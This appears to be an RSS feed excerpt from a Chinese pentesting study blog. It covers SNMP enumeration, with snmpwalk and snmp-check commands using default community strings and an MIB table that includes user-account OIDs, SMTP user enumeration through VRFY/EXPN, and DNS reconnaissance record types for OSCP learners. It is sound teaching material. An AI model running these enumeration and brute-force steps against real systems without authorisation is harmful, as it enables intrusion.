&lt;p&gt;&lt;strong&gt;安全加固&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;禁用默认团体字符串&lt;/li&gt;
&lt;li&gt;限制MIB树访问权限&lt;/li&gt;
&lt;li&gt;配置防火墙过滤UDP/161端口&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-渗透测试要点"&gt;5. &lt;strong&gt;渗透测试要点&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;优先扫描目标&lt;/strong&gt;：路由器/交换机/打印机等网络设备&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组合利用&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;SNMP泄露凭证 → 登录设备 → 获取更多敏感配置&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;自动化脚本&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;结合SNMP+TFTP实现批量化配置下载&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;案例启示&lt;/strong&gt;：共享凭证配置的“便利性”可能造成供应链级灾难，需实施分布式密钥管理。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="附mib树关键分支速查表"&gt;&lt;strong&gt;附：MIB树关键分支速查表&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;OID节点&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;信息类型&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.2.1.1&lt;/td&gt;
 &lt;td style="text-align: center"&gt;系统基本信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.2.1.25.1.6&lt;/td&gt;
 &lt;td style="text-align: center"&gt;存储设备&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.2.1.6.13.1.3&lt;/td&gt;
 &lt;td style="text-align: center"&gt;开放TCP端口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.2.1.25.4.2.1.2&lt;/td&gt;
 &lt;td style="text-align: center"&gt;运行进程列表&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;1.3.6.1.4.1.77.1.2.25&lt;/td&gt;
 &lt;td style="text-align: center"&gt;用户账户&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="注意snmp不是smtp"&gt;注意！SNMP不是SMTP
&lt;/h2&gt;&lt;p&gt;SMTP（Simple Mail Transfer Protocol）和SNMP（Simple Network Management Protocol）确实容易混淆，两者都是网络协议但&lt;strong&gt;功能、用途和技术实现完全不同&lt;/strong&gt;。以下是清晰对比：&lt;/p&gt;
&lt;h3 id="核心区别表"&gt;&lt;strong&gt;核心区别表&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;维度&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;SMTP（邮件传输协议）&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;SNMP（网络管理协议）&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;核心功能&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;发送电子邮件&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;监控和管理网络设备&lt;/strong&gt;（路由器/交换机等）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;工作层级&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;应用层协议&lt;/td&gt;
 &lt;td style="text-align: center"&gt;应用层协议&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;传输协议&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;TCP（可靠连接）&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;UDP（无连接，速度快）&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;默认端口&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;25（明文）/ 587（加密）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;161（Agent）/ 162（Trap）&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;核心操作&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;MAIL FROM&lt;/code&gt;, &lt;code&gt;RCPT TO&lt;/code&gt;, &lt;code&gt;DATA&lt;/code&gt;发送邮件内容&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;GET&lt;/code&gt;（读数据）, &lt;code&gt;SET&lt;/code&gt;（写配置）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;安全风险&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;用户枚举（VRFY/EXPN命令）、钓鱼邮件&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;信息泄露（MIB树）、设备配置被篡改&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;典型使用场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;邮件服务器（如Exchange, Postfix）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;网络设备（路由器、防火墙、打印机等）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="详细区分指南"&gt;&lt;strong&gt;详细区分指南&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-用途邮件-vs-网管"&gt;&lt;strong&gt;1. 用途：邮件 vs 网管&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SMTP&lt;/strong&gt; = &lt;strong&gt;邮局系统&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;只做一件事：把邮件从A点传输到B点（如 &lt;code&gt;user@a.com&lt;/code&gt;→ &lt;code&gt;user@b.com&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;不存储邮件，不管理设备（类似现实中的邮递员，只负责运送信件）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SNMP&lt;/strong&gt; = &lt;strong&gt;设备监控系统&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;收集设备状态：CPU利用率、内存占用、端口状态（如路由器流量异常）&lt;/li&gt;
&lt;li&gt;远程修改配置：重启接口、调整阈值（类似设备的远程控制面板）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="2-技术本质区别"&gt;&lt;strong&gt;2. 技术本质区别&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;特性&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;SMTP&lt;/th&gt;
 &lt;th style="text-align: center"&gt;SNMP&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;数据内容&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;邮件正文（文本/附件）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;设备性能数据（数字/状态）&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;交互模式&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;客户端→服务器（单向发送）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;管理器←→代理（双向读写）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;关键漏洞&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;用户枚举（验证邮箱是否存在）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;团体字符串泄露（默认public）&lt;/strong&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;攻击工具&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;smtp-user-enum&lt;/code&gt;, &lt;code&gt;swaks&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;snmpwalk&lt;/code&gt;, &lt;code&gt;onesixtyone&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="3-实际渗透测试中的区分"&gt;&lt;strong&gt;3. 实际渗透测试中的区分&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;当你看到25/587端口开放&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;→ 这是&lt;strong&gt;邮件服务器&lt;/strong&gt; → 尝试 &lt;strong&gt;SMTP枚举命令&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;telnet 10.1.1.10 &lt;span class="m"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;VRFY root &lt;span class="c1"&gt;# 检测用户&amp;#34;root&amp;#34;是否存在&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;EXPN admins &lt;span class="c1"&gt;# 尝试展开邮件组&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;当你看到161/162端口开放&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;→ 这是&lt;strong&gt;网络设备/服务器&lt;/strong&gt; → 尝试 &lt;strong&gt;SNMP信息收集&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;snmpwalk -c public -v1 10.1.1.20 &lt;span class="c1"&gt;# 遍历MIB树&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;snmp-check -c private 10.1.1.20 &lt;span class="c1"&gt;# 自动提取设备信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="常见混淆点澄清"&gt;&lt;strong&gt;常见混淆点澄清&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;❌ 误区：”SNMP也可以传输数据，所以类似SMTP？“&lt;/p&gt;
&lt;p&gt;→ &lt;strong&gt;更正&lt;/strong&gt;：SNMP传输的是&lt;strong&gt;设备状态数据&lt;/strong&gt;（如温度值90°C），SMTP传输的是&lt;strong&gt;用户生成的邮件内容&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;❌ 误区：”两者都用字符串认证（如SMTP密码 vs SNMP团体名），所以是一类协议？“&lt;/p&gt;
&lt;p&gt;→ &lt;strong&gt;更正&lt;/strong&gt;：SMTP认证用于&lt;strong&gt;邮件发送权限&lt;/strong&gt;，SNMP团体字符串用于&lt;strong&gt;设备管理权限&lt;/strong&gt;（后者常导致严重配置泄露）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="记忆口诀"&gt;&lt;strong&gt;记忆口诀&lt;/strong&gt;
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;📌 &lt;strong&gt;“邮差SMTP送信忙，网管SNMP查设备”&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SMTP&lt;/strong&gt; → 联想 &lt;strong&gt;信封/邮件&lt;/strong&gt;（S for Send Mail）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SNMP&lt;/strong&gt; → 联想 &lt;strong&gt;网络设备&lt;/strong&gt;（S for System/Network Management）&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;下次实战&lt;/strong&gt;：扫描到161端口？立刻反应：这是SNMP协议 → 尝试爆破团体字符串 → 用snmpwalk查设备信息。完全不同的攻击路径！&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day18 Kali主动信息收集DNS</title><link>https://ruajingjing.top/post/day18-kali%E4%B8%BB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</link><pubDate>Sun, 06 Jul 2025 23:45:46 +0000</pubDate><guid>https://ruajingjing.top/post/day18-kali%E4%B8%BB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day18 Kali主动信息收集DNS" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="dns枚举"&gt;DNS枚举
&lt;/h2&gt;&lt;p&gt;DNS枚举在主动信息收集（尤其是渗透测试或红队行动初期）中扮演着&lt;strong&gt;核心角色&lt;/strong&gt;，它的核心价值在于&lt;strong&gt;揭示目标组织面向互联网的域名基础设施和相关系统的细节&lt;/strong&gt;，从而勾勒出初步的攻击面。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;发现子域名：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;这是最重要的目的之一。主域名（如&lt;code&gt;example.com&lt;/code&gt;）可能只暴露少量服务，但大量内部开发、测试、特定部门或业务线使用的系统往往部署在子域名下（如&lt;code&gt;admin.example.com&lt;/code&gt;, &lt;code&gt;dev.example.com&lt;/code&gt;, &lt;code&gt;vpn.example.com&lt;/code&gt;, &lt;code&gt;api.example.com&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;枚举这些子域名能&lt;strong&gt;显著扩大已知的攻击面&lt;/strong&gt;，揭示隐藏的、可能安全性较弱的入口点。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;识别关联的主机和服务：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;通过查询A记录和AAAA记录，DNS枚举能将域名和子域名映射到具体的IPv4和IPv6地址。这直接揭示了目标&lt;strong&gt;实际运行网络服务的计算机位置（主机）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;知道主机IP是后续扫描（端口扫描、服务识别）和潜在攻击的起点。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发现电子邮件服务器：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;通过查询MX记录，可以确定目标组织用于接收电子邮件的&lt;strong&gt;邮件服务器&lt;/strong&gt;及其优先级。这是针对邮件系统进行渗透测试或发起鱼叉式钓鱼攻击的重要信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定位关键网络基础设施：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;名称服务器记录&lt;/strong&gt;：通过查询NS记录，确定该域名由哪些权威DNS服务器负责解析。攻击这些服务器或其配置弱点可能导致DNS劫持或拒绝服务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;邮件服务器信息&lt;/strong&gt;：MX记录（如上所述）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反向代理/CDN后端源站&lt;/strong&gt;：有时CNAME记录可能指向CDN提供商的域名（如&lt;code&gt;assets.example.com CNAME assets.customer-cdn.net&lt;/code&gt;），但也可能指向内部的负载均衡器或实际的应用服务器。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查找别名和重定向：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;CNAME记录将一个域名或子域名别名到另一个规范的域名。这有助于理解：
&lt;ul&gt;
&lt;li&gt;基础设施架构（例如，某个子域名实际指向另一个服务器上的服务）。&lt;/li&gt;
&lt;li&gt;是否使用了第三方服务（例如，CNAME到AWS S3桶或第三方CMS）。&lt;/li&gt;
&lt;li&gt;可能指向内部系统（如果配置错误或暴露）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;探测安全配置信息：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;TXT记录：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SPF记录&lt;/strong&gt;：用于防止邮件欺骗，包含允许发送该域名邮件的服务器IP地址或主机名列表。这可以直接&lt;strong&gt;泄露邮件服务器的IP范围&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKIM记录&lt;/strong&gt;：提供邮件签名公钥，用于验证邮件完整性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC记录&lt;/strong&gt;：指定如何处理不符合SPF/DKIM的邮件的策略。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意外信息&lt;/strong&gt;：有时管理员会在TXT记录中留下注释、内部服务器名称、验证码（用于验证域名所有权，可能被滥用）甚至凭据（严重错误）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暴露的服务器类型/版本&lt;/strong&gt;：有时SRV记录（指向特定服务的位置，如&lt;code&gt;_ldap._tcp.example.com&lt;/code&gt;）或CNAME可以暗示底层运行的服务器类型（如Windows域控制器）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;收集组织的网络边界信息：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;通过获取所有与目标主域名及其子域名相关的A、AAAA记录，实际上是在&lt;strong&gt;映射目标组织在公网上拥有和控制的IP地址块&lt;/strong&gt;。这对于理解他们的整体网络规模、可能的AS编号以及后续的网络层扫描（如端口扫描整个IP段）至关重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构建目标组织的数字资产清单：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;DNS枚举结果是构建目标组织&lt;strong&gt;完整互联网资产清单&lt;/strong&gt;的基础。它列出了所有已知的、面向互联网的域名和对应的主机/IP地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;为什么DNS枚举如此重要？&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;非侵入性（相对而言）：&lt;/strong&gt; 标准的DNS查询（非区域传输）通常被认为是良性的、合法的互联网流量，难以被检测为恶意行为。它是一个相对隐蔽的起点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信息价值高：&lt;/strong&gt; 收集到的信息对于规划后续攻击步骤（下一步扫描哪个IP/端口，攻击哪个子域，如何伪造邮件）具有极高的指导价值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;易被忽略的安全点：&lt;/strong&gt; 许多组织在子域名、废弃域名或DNS记录配置上存在疏忽（如暴露内部服务器名或IP），DNS枚举是发现这些弱点的有效方法。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击面扩展的核心：&lt;/strong&gt; 未发现的子域名或IP地址意味着未评估的安全风险。DNS枚举确保在深入了解具体漏洞前，尽可能全面地掌握目标暴露在外的入口点。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="dns记录类型详解"&gt;DNS记录类型详解
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;ns - 包含载域DNS记录得授权服务器的名称&lt;/li&gt;
&lt;li&gt;A- 包含主机名的IP地址&lt;/li&gt;
&lt;li&gt;MX - 包含负责处理该域电子邮件的服务器名称，可以有多个MX记录&lt;/li&gt;
&lt;li&gt;PTR 别名记录（反向区域使用）&lt;/li&gt;
&lt;li&gt;CNAME - 别名记录，指向其他主机记录&lt;/li&gt;
&lt;li&gt;TXT - 文本记录，可包含任意数据，常用于域所有权验证&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;NS&lt;/code&gt; (Name Server) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 这是&lt;strong&gt;最基础、最关键&lt;/strong&gt;的记录之一。它指定了哪些 DNS 服务器是某个特定&lt;strong&gt;域&lt;/strong&gt;（比如 &lt;code&gt;example.com&lt;/code&gt;）的&lt;strong&gt;权威服务器&lt;/strong&gt;。权威服务器存储着该域所有 DNS 记录的官方、最终版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 当你的电脑或其他解析器需要查询 &lt;code&gt;example.com&lt;/code&gt; 或其子域（如 &lt;code&gt;www.example.com&lt;/code&gt;）的信息时，它首先会查找根 DNS 服务器，然后根据 &lt;code&gt;.com&lt;/code&gt; 的顶级域服务器指引，最终找到 &lt;code&gt;example.com&lt;/code&gt; 的 NS 记录指向的服务器。这些服务器才能提供 &lt;code&gt;example.com&lt;/code&gt; 域下所有记录的准确答案（如 A、MX、CNAME 等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重要性：&lt;/strong&gt; 没有正确的 NS 记录，整个域的 DNS 解析就无法正常工作。攻击者常通过 NS 记录来定位目标组织的权威 DNS 服务器，这些服务器本身也可能是攻击目标。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;example.com. IN NS ns1.provider.com.&lt;/code&gt; &lt;code&gt;example.com. IN NS ns2.provider.com.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;A&lt;/code&gt; (Address) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 这是&lt;strong&gt;最常用&lt;/strong&gt;的记录类型。它将一个&lt;strong&gt;主机名&lt;/strong&gt;（域名或子域名）直接映射到一个 &lt;strong&gt;IPv4 地址&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 当你在浏览器输入 &lt;code&gt;www.example.com&lt;/code&gt; 时，DNS 系统最终会查找该主机名的 A 记录，获得其对应的 IP 地址（如 &lt;code&gt;93.184.216.34&lt;/code&gt;），然后你的浏览器才能连接到该 IP 地址的服务器获取网页内容。它负责将“人类可读”的名字转换成机器使用的 IP 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;www.example.com. IN A 93.184.216.34&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;AAAA&lt;/code&gt; (Quad-A) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 功能与 A 记录完全相同，但它映射的是 &lt;strong&gt;IPv6 地址&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 随着 IPv4 地址耗尽，IPv6 越来越重要。AAAA 记录让主机名能够解析到 IPv6 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;www.example.com. IN AAAA 2606:2800:220:1:248:1893:25c8:1946&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;MX&lt;/code&gt; (Mail eXchange) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 指定负责接收发送到该&lt;strong&gt;域&lt;/strong&gt;（不是特定主机名）的电子邮件的&lt;strong&gt;邮件服务器&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;特点：
&lt;ul&gt;
&lt;li&gt;指向的是&lt;strong&gt;主机名&lt;/strong&gt;（通常有对应的 A/AAAA 记录），而不是直接指向 IP 地址。&lt;/li&gt;
&lt;li&gt;可以有&lt;strong&gt;多个&lt;/strong&gt; MX 记录，每个记录有一个&lt;strong&gt;优先级值&lt;/strong&gt;（数字越小，优先级越高）。发送邮件的服务器会先尝试连接优先级最高的邮件服务器，如果失败，再尝试优先级较低的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 确保发送到 &lt;code&gt;user@example.com&lt;/code&gt; 的邮件能被正确路由到处理 &lt;code&gt;example.com&lt;/code&gt; 邮件的服务器上。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;example.com. IN MX 10 mailserver1.example.com.&lt;/code&gt; &lt;code&gt;example.com. IN MX 20 mailserver2.example.com.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PTR&lt;/code&gt; (Pointer) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 用于&lt;strong&gt;反向 DNS 查找&lt;/strong&gt;。它将一个 &lt;strong&gt;IP 地址&lt;/strong&gt;映射回一个&lt;strong&gt;主机名&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;作用： 与 A/AAAA 记录相反。主要用于：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;日志记录：&lt;/strong&gt; 在系统日志中显示 IP 地址对应的主机名，更易读。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络诊断：&lt;/strong&gt; &lt;code&gt;traceroute&lt;/code&gt;, &lt;code&gt;ping&lt;/code&gt; 等工具有时会尝试反向解析 IP 地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全验证：&lt;/strong&gt; 一些邮件服务器会检查发送方 IP 的反向解析记录是否与声称的发件域匹配（作为反垃圾邮件措施的一部分，但效果有限）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统管理：&lt;/strong&gt; 识别网络上的设备。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储位置：&lt;/strong&gt; PTR 记录存储在特殊的 DNS 域中，通常是 &lt;code&gt;in-addr.arpa&lt;/code&gt; (IPv4) 或 &lt;code&gt;ip6.arpa&lt;/code&gt; (IPv6)。&lt;/li&gt;
